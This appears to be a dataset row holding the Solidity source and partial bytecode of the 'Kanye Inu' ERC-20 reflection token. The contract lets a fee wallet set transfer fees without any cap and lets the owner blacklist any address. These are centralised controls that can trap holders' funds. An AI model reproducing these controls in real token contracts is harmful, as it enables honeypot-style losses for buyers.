address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xDAa1e2fd1737026A451A330d8caEE031f0D2a1c8
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kanye is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 3;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0x5F4bAbD87887bEd2F1C14B0c6442ED2fD9c2431D);
address payable private _feeAddrWallet2 = payable(0x5F4bAbD87887bEd2F1C14B0c6442ED2fD9c2431D);
string private constant _name = "Kanye Inu";
string private constant _symbol = "KANYEINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600981526020017f4b616e796520496e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b414e5945494e55000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b6000612